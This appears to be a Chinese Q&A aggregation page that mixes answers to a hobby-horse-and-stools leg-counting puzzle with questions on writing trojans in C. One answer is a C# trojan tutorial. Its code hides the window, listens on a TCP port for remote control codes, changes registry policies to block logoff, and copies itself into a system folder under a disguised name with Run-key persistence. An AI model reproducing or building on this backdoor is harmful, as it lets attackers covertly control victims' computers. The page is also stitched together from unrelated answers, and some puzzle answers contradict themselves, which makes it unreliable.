當前位置:首頁 » 編程語言 » 木馬與板凳問題用c語言解決
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

木馬與板凳問題用c語言解決

發布時間: 2022-08-09 05:43:05

c語言寫木馬程序原理

原理有很多種,目地就是破壞計算機環境,比如有大量消耗cpu,刪除更改你的文件使它失效,紀錄你的鍵盤使用情況,達到一個竊取你密碼和賬號的的結果,是你在某些網站的內容被其任意篡改,或者讓你就算無法正常工作,只要能達到某種破壞你的影響你的計算機的使用,都可以算是病毒。
舉個簡單的例子,你寫的一個程序改變了計算機的時間,比如改成1900年,這個時候很多程序都不能運行,再就是一個病毒的效果,你在用一個死循環消耗cpu,這個時候用戶的機子就比較卡,所以也是一個病毒,當然這些都是簡單例子,如果要深入學習,僅知道這點點只能當作啟蒙

❷ 怎樣用c語言破解木馬病毒

你想怎麼破解……
無論是病毒分析還是破解的話匯編是必須掌握的
當然C也是利器~
C和匯編全都熟悉之後
用OllyDBG反匯編即可查閱和調試病毒
其他需用的工具和知識,可以去「一蓑煙雨」論壇學學,有專門的病毒分析版塊
或者「看雪」論壇也是個大牛雲集的地方
多學學就好

❸ 數學問題題

假設法:

假設全是木馬,那麼一共有腳:
3×33=99(個)
比實有腳數少:100-99=1(個)
板凳有:(100-4×1)÷3=32(個)
木馬有:33-32=1(個)
答:木馬1個,板凳32個。
用方程解:
解:設木馬有X個,則板凳有(33-X)個×
4X+3(33-X)=100
4X+99-3X=100
X+99=100
X=1
那麼,板凳有:33-1=32(個)
答:木馬1個,板凳32個。

❹ C語言:木馬板凳三十三,百個腿腿地下翻,求具體編程,感謝大神,定會追加分!

詳細說明下,是不是一個是2條腿,一個是4條腿
#include<iostream>
using namespace std;
int main()
{
int m,n,t,g;
cout<<"請輸入他們的各自個數和腿的個數:";
cin>>n>>m;
{
t=m/2-n;
g=n-t;
if((t>=0&&g>=0)&&(2*g+4*t==m))
{
cout<<g<<" "<<t<<endl;
}
else
cout<<"Error"<<endl;

}
return 0;
}

❺ 木馬和板凳共33隻,板凳4隻腳,木馬3隻腳,共100隻腳站地,那麼請問有多少只木馬,有多少只板凳

假設木馬和板凳能動:
讓他們都抬起2隻腳,100-66=34
再讓他們抬起一隻腳,34-33=1
現在板凳都沒有腳了。

由此可知板凳1個,木馬33個

一隻板凳,32隻木馬
過程如下:方程法:設木馬 x 只
則3x + 4 *(33 - x)= 100
解得x = 32
計演算法:假設33隻全是木馬,則有99條腿
而每個板凳比木馬多1條腿 ,且還多餘100 - 99條腿
所以有一個板凳,32個木馬

❻ c語言可以編個木馬嗎

要實現木馬服務的程序,主要實現以下幾個功能:後台的運行(隱藏技術),控制碼的接收與注冊表的修改,下面對這三方面做介紹:

1、在VC#中,建立一個後台服務程序是很容易的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱),將窗體屬性「ShowInTaskbar」屬性設為false,讓它運行時不會在任務欄中顯示,並將屬性「Windowstate」屬性設為Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:

private void InitializeComponent()
{
//
// Form1
//
//窗體顯示的起點和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗體名稱
this.Name = "Form1";
//設置屬性讓它後台運行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

2、控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼註解如下:

public Form1() //窗體的構造函數
{
//
// Windows 窗體設計器支持所必需的
//
InitializeComponent();

//
// TODO: 在 InitializeComponent 調用後添加任何構造函數代碼
//加入你的偵聽代碼
//埠你可以自已設定,我使用了固定的埠
int port =6678;
//System.Net.Sockets.TcpListener是用來在Tcp網路中偵聽客戶端的
listener = new TcpListener(port);
//啟動偵聽
listener.Start();
//增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()
//reControlCode 是線程啟動執行的函數,此函數根據接收的控制
//控制碼選取合適的注冊表修改函數
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函數如下,完整代碼見程序
private void reControlCode()
{
//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求
socket = listener.AcceptSocket();
//如果連接成功執行
while (socket.Connected)
{
//接收控制碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根據控制碼執行不同的功能

//修改注冊表加入編碼
switch (ss)
{
case "jiance"://測試連接,返回測試信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注冊表函數,自已定義,見下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注冊表函數
UnClose();
//返回控制消息
retMessage();
break;
//重復的case功能與前面一樣,略掉
default:
break;
}//case
}//while
} //private void reControlCode

3、C#中實現注冊表的修改,使用了.NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。下面就可以看到它的用法。這里我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面設鍵值NoLogOff 為 1 即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:

private void UnLogOff()
{
//得到主機的注冊表的頂級節點
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設置一個注冊表子鍵的變數
RegistryKey key1;
try
{
//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//設置子鍵的鍵名,和值
key1.SetValue ("NoLogOff",1);
//關閉打開的子鍵
key1.Close();
//警告字元串設定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請將它置為0!";
}
catch{}
}
}

4、在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C:\\winnnt\\system\\msdoss.exe,同時換名稱。使用的.NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和非同步讀寫。這里我們使用了System.IO.File類。

private void moveCC1()
{
try
{
//函數File.Move(string sourceFileName,string destFileName)起移動文件的作用
//sourceFileName為要移動的文件名,destFileName為文件的新路徑
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//將新移的木馬程序設為自啟動.分析和前面一樣
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
按照步驟來就可以得到一個C#木馬了..
都給出答案了.可以給分卜?

❼ 如何用C語言製作木馬

這個一兩句也說不清楚 你首先要有信心去學習c語言,c語言不像vb,要到後期才能看到它的威力,所以要堅持的學下去 希望你能堅持住,教程網上隨便一搜索就有了,還有可以去買書 都可以 總之要有耐心 堅持!!

❽ C語言怎麼編輯木馬啊..推薦本有關系的書吧

上面是我做的木馬,代碼大概有20000行,可以告訴你,市面是上基本沒有這方面的書的,就算是有那麼幾本也都是說說思路給幾行代碼,根本沒用,做木馬你必須要比較深入的了解windows編程winsocket編程,圖像界面編程例如(MFC)當然你也可以用c#,delphi來寫界面,至於過主動,自啟動這都是很值錢的技術,需要你潛心修行。。。如果你是剛有做木馬的想法,那麼堅持一年,只要你能堅持下來應該是能做出來的